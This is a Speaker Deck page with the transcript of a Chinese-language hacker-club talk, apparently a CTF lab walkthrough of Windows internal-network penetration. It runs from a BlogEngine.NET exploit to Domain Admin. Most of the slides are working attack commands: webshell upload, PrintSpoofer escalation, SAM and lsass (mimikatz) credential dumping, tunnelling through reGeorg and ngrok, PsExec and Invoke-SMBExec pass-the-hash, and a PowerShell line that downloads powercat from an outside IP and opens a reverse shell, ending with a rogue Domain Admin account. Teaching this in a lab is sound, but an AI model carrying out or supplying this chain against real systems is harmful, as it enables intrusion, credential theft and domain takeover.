Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Windows 內網滲透
Search
123ojp
August 17, 2020
Technology
1
950
Windows 內網滲透
2020/8/17 黑客社 Windows 內網滲透 演講簡報
大綱:
由一個 CVE 進入 IIS主機 後,如何橫向擴散到 OA 和 AD主機。
計分板:
https://ctf.foxo.tw/
123ojp
August 17, 2020
Tweet
Share
More Decks by 123ojp
See All by 123ojp
W15 Buffer Overflow - 安全程式設計107上
123ojp
0
230
Other Decks in Technology
See All in Technology
障害対応指揮の意思決定と情報共有における価値観 / Waroom Meetup #2
arthur1
5
470
フルカイテン株式会社 採用資料
fullkaiten
0
40k
BLADE: An Attempt to Automate Penetration Testing Using Autonomous AI Agents
bbrbbq
0
300
AIチャットボット開発への生成AI活用
ryomrt
0
170
オープンソースAIとは何か? --「オープンソースAIの定義 v1.0」詳細解説
shujisado
7
810
Shopifyアプリ開発における Shopifyの機能活用
sonatard
4
250
[CV勉強会@関東 ECCV2024 読み会] オンラインマッピング x トラッキング MapTracker: Tracking with Strided Memory Fusion for Consistent Vector HD Mapping (Chen+, ECCV24)
abemii
0
220
ノーコードデータ分析ツールで体験する時系列データ分析超入門
negi111111
0
410
リンクアンドモチベーション ソフトウェアエンジニア向け紹介資料 / Introduction to Link and Motivation for Software Engineers
lmi
4
300k
The Rise of LLMOps
asei
7
1.4k
マルチプロダクトな開発組織で 「開発生産性」に向き合うために試みたこと / Improving Multi-Product Dev Productivity
sugamasao
1
300
開発生産性を上げながらビジネスも30倍成長させてきたチームの姿
kamina_zzz
2
1.7k
Featured
See All Featured
Designing on Purpose - Digital PM Summit 2013
jponch
115
7k
The Success of Rails: Ensuring Growth for the Next 100 Years
eileencodes
44
6.8k
Bash Introduction
62gerente
608
210k
Visualization
eitanlees
145
15k
Git: the NoSQL Database
bkeepers
PRO
427
64k
JavaScript: Past, Present, and Future - NDC Porto 2020
reverentgeek
47
5k
Building Adaptive Systems
keathley
38
2.3k
BBQ
matthewcrist
85
9.3k
The World Runs on Bad Software
bkeepers
PRO
65
11k
Unsuck your backbone
ammeep
668
57k
Java REST API Framework Comparison - PWX 2021
mraible
PRO
28
8.2k
Fight the Zombie Pattern Library - RWD Summit 2016
marcelosomers
232
17k
Transcript
Windows 內網滲透 你懂 Windows 嗎? Speaker: 童舒晧 致敬 AIS3 紅⼈人演練
$ Whoami • 你們家老社長 (第五屆⿊黑客社社長) • 資安 Web狗 ⼀一點點pwn 剩下我就垃圾
Outline • 打爆 Windows • 沒ㄖ • 啊⼤大家都是 root 不要砍檔改密碼謝謝
今⽇日弱點 http://140.134.25.138:55555/ 計分板 https://ctf.foxo.tw/challenges
練習找 CVE getshell 5 min
第零關 - 登入admin • 弱密碼 • 帳號 admin • 密碼
admin
第⼀一關 - CVE
好習慣 (⼀一) • 上傳後⾨門 ⽽而非打reverse shell • 許多web server都被防火牆 •
禁⽌止連外網 • (當初我打 ilexxn 也是這樣)
新⼿手⼤大禮包 • 今天上課所有⼯工具 • https://ctf.foxo.tw/files/ 0b95689cc6782e0e3607ff26fde33aad/tools.zip • 解壓縮密碼 foxo
第⼀一關 CVE 解答 • ⼤大禮包打開來來 • 執⾏行行 • ▶ python
BlogEngine.NET_poc_upload.py -t '140.134.208.100:55555' -u admin -p admin -f ASPXspy2.aspx • 後⾨門密碼 admin http://140.134.208.100:55555/Custom/Themes/RCE/ASPXspy2.aspx
點⼀一點後⾨門開⼼心拿flag
查看權限 • 拿到 RCE 之後 很重要⼀一件事就是知道⾃自⼰己權限
提權好處 • ⼀一般權限 • 掃 port • 做 web server能做的事
• 最⾼高權限 • 想幹嘛就幹嘛 • 幫他關機 • dump 機器上所有密碼 、 關防毒
第⼆二關 - Network Service 提權 •PrintSpoofer •Local/Network Service to SYSTEM
•https://github.com/itm4n/PrintSpoofer •Support •Windows 10 & Windows Server 2019.. even more •Usage •PrintSpoofer.exe -c "command"
使⽤用條件 • Whoami /priv 其中⼀一項開啟 • SeImpersonatePrivilege => CreateProcessWithToken() •
SeAssignPrimaryToken => CreateProcessAsUser() • 看起來來是預設開啟
使⽤用後⾨門上傳 • 或是等你隊友上傳(X • 看不到結果 只好⽤用寫檔⽅方式讀取 • C:\inetpub\wwwroot\Custom\Themes\RCE\PrintSpoofer.exe • -c
"C:\windows\system32\cmd.exe /c whoami > C:\inetpub\wwwroot\Custom\Themes\RCE\tmp.txt"
打開 tmp.txt
使⽤用 PrintSpoofer 讀 flag • -c "C:\windows\system32\cmd.exe /c type
C:\flag.txt > C:\inetpub\wwwroot\Custom\Themes\RCE\tmp.txt"
G3t R00t 0N llS
Dump iis password
SAM 檔案: 儲存本地⽤用⼾戶的 NTLM Hash • Security Account Manager •
安全帳⼾戶管理理器是Windows XP,Windows Vista, Windows 7、8.1和10中的數據庫⽂文件,⽤用於存儲⽤用⼾戶密 碼。它可⽤用於對本地和遠程⽤用⼾戶進⾏行行⾝身份驗證。從 Windows 2000 SP4開始,Active Directory對遠程⽤用⼾戶進⾏行行 ⾝身份驗證。SAM使⽤用加密措施來來防⽌止未經⾝身份驗證的⽤用⼾戶 訪問系統。 ——维基百科(英⽂文)
Dump SAM • 使⽤用 PrintSpoofer Dump • -c "reg save
HKLM\SAM C:\inetpub\wwwroot\sam.zip" • -c "reg save HKLM\SYSTEM C:\inetpub\wwwroot\system.zip"
解析 SAM • Creddump7 • git clone https://github.com/Neohapsis/creddump7 • pip
install pycrypto • python2 • python pwdump.py system.zip sam.zip
Dump 結果 Username UID LM Hash NTLM Hash fox: 1000:
aad3b435b51404eeaad3b435b 51404ee: 7ecffff0c3548187607a14bad0f8 8bb1:::
拿去隨意網站crack hash • https://crackstation.net/ • fox 帳號弱密碼 : 1qaz@WSX3edc •
Administrator 密碼無法解析
⽬目前成就 IIS (Web Server) Owned! Hackers firewall allow web access
?
⽬目前成就 IIS (Web Server) Hackers http tunnel ✅ 跳板 nmap
確定⼦子網域 • 可以知道 ⼦子網域 在 192.168.122.0/24
http tunnel • ⽤用 http 協定達成 proxy • 常⽤用於 web
server 被打下來來(不⽤用提權即可使⽤用) • 常⾒見見⼯工具 reGeorg • 上傳 interface 到 受害者server • 使⽤用 http url 建立⼀一個 sock proxy 到本機
解壓縮 ⼤大禮包裡的 reGeorg • 然後把 上傳 (因為我們今天試⽤用 .net 所以選aspx) •
打開網⾴頁確定 運作正常 • http://140.134.208.100:55555/Custom/Themes/RCE/ tunnel.aspx
運⽤用http tunnel 掃內網 • 在kali 執⾏行行 • python reGeorgSocksProxy.py -u
http:// 140.134.208:100:55555/Custom/Themes/RCE/ tunnel.aspx • proxy 在 127.0.0.1:8888
proxychains • Kali 內建 • 使⽤用設定的proxy執⾏行行後⽅方指令 • ex. proxychains nmap
…. • 修改 proxy位⼦子 改到8888 • vim /etc/proxychains.conf (kali 預設位置)
proxychains + nmap • 設定完 使⽤用 • $ proxychains <command>
• $ proxychains nmap -sT -Pn -p 445 192.168.122.0/24
tunnel 很慢 我幫你掃 • proxychains nmap -sT -Pn -p 445
192.168.122.58 • proxychains nmap -sT -Pn -p 445 192.168.122.246
找到兩兩台主機 IIS (Web Server) Hackers http tunnel 192.168.122.58 192.168.122.246
企業 Windows 常⾒見見架構 Web Server AD OA OA Control Control
office automation system https://en.wikipedia.org/wiki/Office_automation
Active Directory (AD) • Active Directory(簡稱AD。中國譯名為「活動⽬目錄」,台灣 為維持英⽂文不譯)是微軟Windows Server中,負責架構中⼤大 型網路路環境的集中式⽬目錄管理理服務(Directory Services),
在Windows 2000 Server開始內建於Windows Server產品中, 它處理理在組織中的網路路物件,物件可以是使⽤用者、群組、電 腦、網域控制站、郵件、設定檔、組織單元、樹系等等,只要 是在Active Directory結構定義檔(schema)中定義的物件, 就可以儲存在Active Directory資料檔中,並利利⽤用Active Directory Service Interface來來存取,實際上,許多Active Directory的管理理⼯工具都是利利⽤用這個介⾯面來來呼叫並使⽤用Active Directory的資料。 — 維基百科
總之就是⼤大總管 所有網域下電腦 可以⽤用同組帳號登入
本地使⽤用者登入 • .\Administrator • 主機名稱 \Administrator
有開AD登入 • 網域 Foxo (Administrator) • FOXO\Administrato r
None
尋找 AD IP • AD 通常會和 DNS server 是同⼀一台
查看 帳號 • Local • net user • net user
<username>
這隻 帳號 密碼 已有
查看 domain 帳號 • domain • net user /domain •
net user /domain <username>
發現 特權 帳號 kingoffox
下⼀一步 打OA Web Server AD OA Control Control 192.168.122.58 192.168.122.246
192.168.122.53 OA 通常會有 ⼤大量量使⽤用者登入
把 OA smb 代理理出來來 • 上傳 ngrok • 申請 ngrok
token https://dashboard.ngrok.com/ • 拿取 token
上傳失敗? 壓縮上傳 • 壓縮 ngrok • 上傳後 ⽤用powershell 解壓 •
/c powershell -command "Expand-Archive C:\inetpub\wwwroot\Custom\Themes\RCE\ngrok.zip C:\inetpub\wwwroot\Custom\Themes\RCE\a"
在 webshell 執⾏行行 ngrok • CmdPath: • C:\inetpub\wwwroot\Custom\Themes\RCE\a\ngrok.exe • Argument:
• tcp 192.168.122.58:445 --authtoken <your_token> -region ap
去 ngrok 官網看彈去哪 https://dashboard.ngrok.com/status/tunnels eg: tcp://2.tcp.ngrok.io:12723
Port Forwarding • 在 Kali 上灌 ssh server • apt-get
install openssh-server • 設定 Port Forwarding • vim /etc/ssh/sshd_config • 重啟 sshd • /etc/init.d/ssh restart
使⽤用ssh 把遠端代理理回445 • ssh 127.0.0.1 -NL 0.0.0.0:445:<the_ip_on_dashboard> • eg ssh
127.0.0.1 -NL 0.0.0.0:445:2.tcp.ngrok.io:12723 • 確定⾃自⼰己 kali ip
在 windows 執⾏行行 PsExec.exe • Psexec.exe • 有微軟簽章的遠端執⾏行行⼯工具 • 走
smb 協定 (想不到smb可以執⾏行行程式吧) • 有 eula 記得加參參數取消 • psexec.exe -accepteula • 64 位元要⽤用 Psexec64.exe
IT : SMB是拿來來傳檔案的 微軟: 拿來來遠端執⾏行行也不錯啊
使⽤用相同密碼 PsExec.exe 跳到OA • PsExec64.exe \\<IP> -accepteula -s -u <帳號>
-p <密碼> <程式> • eg: PsExec64.exe \\192.168.50.184 -s -accepteula -u fox -p 1qaz@WSX3edc cmd
找到 OA 上 flag
⽬目前戰績 Web Server AD OA Control Control 192.168.122.58 192.168.122.246 192.168.122.53
Pwn! Pwn!
再次Dump 密碼
lsass.exe Process • OA 會有許多帳號登入 • 登入過後帳號會在電腦留留下資訊 • lsass.exe Process:
• 儲存登入過的 session 與其 NTLM Hash 或密碼
使⽤用 mimikatz
移動 mimikatz • 上傳⾄至 IIS • 運⽤用網路路芳鄰 移動到 OA C:\
• 什什麼沒有開網路路芳鄰?
任意電腦 C:\ 讀取 加入Domain的電腦不是 你的電腦
加入 Domain 預設共⽤用C:\ • 打開網路路芳鄰存取 \\<ip>\c$ • $ 符號代表隱藏的資料夾
使⽤用 cmd 存取 • 掛載遠端磁碟 • net use \\<ip>\C$ /user:<username>
<password> • net use \\192.168.122.58\C$ /user:fox "1qaz@WSX3edc" • 查看掛載詞耊 • net use
Copy iis 檔案 到 OA • copy <檔案位⼦子> <檔案位⼦子> •
copy C:\inetpub\wwwroot\Custom\Themes\RCE\mimikatz.exe \\192.168.122.58\C$
再次啟動Psexec • 再次連上 OA 記得加-s flag 拿system 權限 • PsExec64.exe
\\<Kali_IP> -accepteula -u <帳號> -p <密碼> -s cmd • eg: PsExec64.exe \\192.168.50.184 -accepteula -u fox -p 1qaz@WSX3edc -s cmd • 執⾏行行 mimikatz.exe
whoami 是 system
Dump Isass • 使⽤用 mimikatz dump 所有 lsass.exe Process Hash
• Sekurlsa::logonPasswords
尋找可⽤用 user • 找到⼀一開始發現的 特權帳號 kingoffox 以及 密碼hash
Pass The Hash 使⽤用 hash 就可登入
重新 forward port • 關掉 ngrok •
改成 forward AD • CmdPath: • C:\inetpub\wwwroot\Custom\Themes\RCE\a\ngrok.exe • Argument: •
tcp 192.168.122.246:445 --authtoken <your_token> -region ap
去 ngrok 官網看彈去哪 https://dashboard.ngrok.com/status/tunnels eg: tcp://2.tcp.ngrok.io:12723
使⽤用ssh 把遠端代理理回445 • ssh 127.0.0.1 -NL 0.0.0.0:445:<the_ip_on_dashboard> • eg ssh
127.0.0.1 -NL 0.0.0.0:445:2.tcp.ngrok.io:12723 • 記得把上⼀一個 ctrl+c 關掉
⽤用 powershell 腳本 pass the hash • [System.Net.ServicePointManager]::ServerCertificateValidatio nCallback =
{$true}; //關閉 ssl 保護 複製時注意換⾏行行空⽩白 • IEX(New-Object System.Net.WebClient).DownloadString("https:// 35.201.144.177/Invoke-SMBExec.ps1"); //Load script (防毒要關) • Invoke-SMBExec -Target <IP> -Domain <Domain> - Username <Username> -Hash <Hash> -Command '<命令>' - verbose
搭配 reverse shell • Invoke-SMBExec -Target 192.168.50.184 -Domain foxo.tw.ctf -Username
kingoffox -Hash 9b9a292a04ba3679b3822d1586bd5b29 -Command 'powershell -c " [System.Net.ServicePointManager]::ServerCertificateVali dationCallback = {$true}; IEX(New-Object System.Net.WebClient).DownloadString(\"https:// 35.201.144.177/powercat.ps1\");powercat -c 140.134.243.8 -p 4444 -e cmd"' -verbose
None
新增 domain admin帳號 • dsadd user "cn=hackfox,cn=Users,dc=foxo,dc=tw,dc=ctf" -samid hackfox -upn
[email protected]
-fn Fox -ln Hack -display "Hack Fox" -disabled no -pwd "@J*@U#(Jdfj" • net group "Domain Admins" hackfox /ADD /DOMAIN • 如果沒有 主機 可以 reverse shell 直接執⾏行行創帳號 在登入
直接創帳號 • Invoke-SMBExec -Target 192.168.50.184 -Domain foxo.tw.ctf -Username kingoffox -Hash
9b9a292a04ba3679b3822d1586bd5b29 -Command 'dsadd user "cn=hackfox,cn=Users,dc=foxo,dc=tw,dc=ctf" -samid hackfox -upn
[email protected]
-fn Fox -ln Hack - display "Hack Fox" -disabled no -pwd "@J*@U#(Jdfj"' - verbose • Invoke-SMBExec -Target 192.168.50.184 -Domain foxo.tw.ctf -Username kingoffox -Hash 9b9a292a04ba3679b3822d1586bd5b29 -Command 'net group "Domain Admins" hackfox /ADD /DOMAIN' -verbose
None
把 RDP 代理理出來來
重新 forward port • 關掉 ngrok •
改成 forward AD 3389 • CmdPath: • C:\inetpub\wwwroot\Custom\Themes\RCE\a\ngrok.exe • Argument:
• tcp 192.168.122.246:3389 --authtoken <your_token> -region ap
去 ngrok 官網看彈去哪 https://dashboard.ngrok.com/status/tunnels eg: tcp://2.tcp.ngrok.io:12723
直接連線 rdp • 2.tcp.ngrok.io:12723
打下AD就是這麼樸實無華